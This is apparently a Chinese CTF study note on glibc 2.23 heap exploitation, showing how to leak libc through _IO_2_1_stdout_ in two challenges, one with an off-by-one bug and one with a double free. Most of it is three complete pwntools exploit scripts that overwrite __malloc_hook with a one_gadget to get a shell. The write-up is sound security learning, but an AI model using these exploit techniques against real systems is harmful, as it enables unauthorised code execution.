常见heap泄露内存方式

在做heap时有时候并没有自带的输出模块,所以打_IO_2_1_stdout_成了一种常用手段。一般只出现在glibc2.23版本下glibc2.27下aslr随机的位数比较多爆破概率比较小,没算错的话应该时1/4096,而2.23的情况下是1/16。

这里记录两道例题,也忘了是哪里的题了,反正模板题。以便以后快速复现把

一道off-by-one配合_IO_2_1_stdout,一道double free配合_IO_2_1_stdout

例题1

关键字:_IO_2_1_stdout_、off-by-one

功能很少,就一个add和delete,add的时候存在off-by-one

核心是堆块的布局,通过off-by-one修改堆块的大小来造成堆块的堆叠(smallbin和fastbin重叠)。具体构造见exp。

泄露之后既可以通过double free来劫持__malloc_hook(exp1),也可以故技重施来劫持__malloc_hook(exp2),最后在申请一次堆块就能getshell

比较关键的点:add(2,0x50,’\xdd\xb5’),这里虽然申请0x60大小的堆,但由于unsortedbin中的堆块大小为0x70,glibc为了防止碎片过多malloc到的堆块大小为0x70。

exp1

from pwn import *
context.update(arch='amd64',os='linux',timeout=1)
context.log_level='debug'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget=[0x45226,0x4527a,0xf0364,0xf1207]
def add(index,size,content='\x00'):
	p.sendlineafter('>>>\n','1')
	p.sendlineafter('idx:\n',str(index))
	p.sendlineafter('len:\n',str(size))
	p.sendafter('content:\n',content)

def delete(index):
	p.sendlineafter('>>>\n','2')
	p.sendlineafter('idx:\n',str(index))

def pr(a,addr):
	log.success(a+'===>'+hex(addr))

def pwn():
	add(0,0x20)
	add(1,0x20)
	add(2,0x60)
	add(3,0x20)
	delete(0)
	delete(2)
	add(0,0x28,'a'*0x28+'\xa1')
	delete(1)
	add(1,0x20)
	add(2,0x50,'\xdd\xb5')
	add(4,0x60)
	add(5,0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
	
#=========================leak=============================
	p.recv(0x40)
	leak = u64(p.recv(8))
	libcbase = leak - 0x3c5600
	malloc_hook = libcbase + libc.sym['__malloc_hook']
	one = libcbase + one_gadget[3]
	pr('libcbase',libcbase)
	
#==========================================================
	add(6,0x60)
	delete(2)
	delete(6)
	delete(4)
	add(7,0x60,p64(malloc_hook-0x23))
	add(8,0x60)
	add(9,0x60)
	add(10,0x60,'a'*0x13+p64(one))
	#gdb.attach(p)

	p.interactive()

while True:
	try:
		global p
		p = process('./pwn')
		pwn()
		break
		
	except:
		p.close()
		print 'trying...'

exp2

from pwn import *
context.update(arch='amd64',os='linux',timeout=1)
context.log_level='debug'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget=[0x45226,0x4527a,0xf0364,0xf1207]
def add(index,size,content):
	p.sendlineafter('>>>\n','1')
	p.sendlineafter('idx:\n',str(index))
	p.sendlineafter('len:\n',str(size))
	p.sendafter('content:\n',content)

def delete(index):
	p.sendlineafter('>>>\n','2')
	p.sendlineafter('idx:\n',str(index))

def pr(str1,addr):
	log.success(str1+'===>'+hex(addr))

def pwn():
	add(0,0x28,'\x00')
	add(1,0x28,'\x00')
	add(2,0x60,'\x00')
	add(3,0x28,'\x00')
	
	delete(0)
	delete(2)
	add(0,0x28,'a'*0x28+'\xa1')
	delete(1)
	add(1,0x28,'\x00')
	add(2,0x50,'\xdd\xb5')
	add(2,0x60,'\x00')
	add(2,0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
	p.recv(0x40)
	leak = u64(p.recv(8))
	libcbase = leak - 0x3c5600
	pr('libcbase',libcbase)
	for i in range(4):
		one_gadget[i] += libcbase
		pr('one_gadget'+str(i),one_gadget[i])
	malloc_hook = libcbase + libc.sym['__malloc_hook']
	pr('malloc_hook',malloc_hook)

	#gdb.attach(p)	
	add(0,0x28,'\x00')
	add(1,0x28,'\x00')
	add(2,0x60,'\x00')
	add(3,0x28,'\x00')
	
	delete(0)
	delete(2)
	add(0,0x28,'a'*0x28+'\xa1')
	delete(1)
	add(1,0x28,'\x00')
	add(2,0x50,p64(malloc_hook-0x23))
	add(2,0x60,'\x00')
	add(2,0x60,'a'*0x13+p64(one_gadget[3]))
	p.interactive()

while True:
	try:
		global p
		p = process('./pwn')
		pwn()
		break
		
	except:
		p.close()
		print 'trying...'

例题二:nepctf sooooeasy

关键字:_IO_2_1_stdout_、double free

逻辑也很简单,只有add和delete,存在double free,本来想double free修改size来做,但这样会变得很麻烦,而且申请的堆块太多了,大于题目要求,看了wp发现了更好的堆块分布,确实是非常好的利用思路。

exp

from pwn import*
#context.log_level = 'debug'
context.update(arch='amd64',os='linux',timeout=0.5)

#p = remote('',)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(name_size,name='a',message='b'):
	p.sendlineafter('choice : ','1')
	p.sendlineafter('your name: \n',str(name_size))
	p.sendafter('Your name:\n',name)
	p.sendlineafter('Your message:\n',message)
def delete(idx):
	p.sendlineafter('choice : ','2')
	p.sendlineafter('index:',str(idx))
def pr(a,addr):
	log.success(a+'===>'+hex(addr))

def pwn():
	add(0x60)
	add(0x90)
	add(0x60)
	delete(1)
	add(0x60,'\xdd\x25')
	delete(0)
	delete(2)
	delete(0)
	add(0x60,'\x00')
	add(0x60)
	add(0x60)
	add(0x60)
	add(0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
	libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
	libc_realloc = libcbase + libc.sym['__libc_realloc']
	malloc_hook = libcbase + libc.sym['__malloc_hook']
	one = libcbase + [0x45226,0x4527a,0xf0364,0xf1207][1]
	pr('libcbase',libcbase)
	pr('malloc_hook',malloc_hook)
	pr('one',one)
	delete(0)
	delete(2)
	delete(0)
	add(0x60,p64(malloc_hook-0x23))
	add(0x60)
	add(0x60)
	add(0x60,'a'*11+p64(one)+p64(libc_realloc+13))
	p.sendlineafter('choice : ','1')
	#gdb.attach(p,'b *'+str(one))
	p.interactive()
while True:
	try:
		global p
		p = process('./sooooeasy')
		pwn()
		break
		
	except:
		p.close()
		print 'trying...'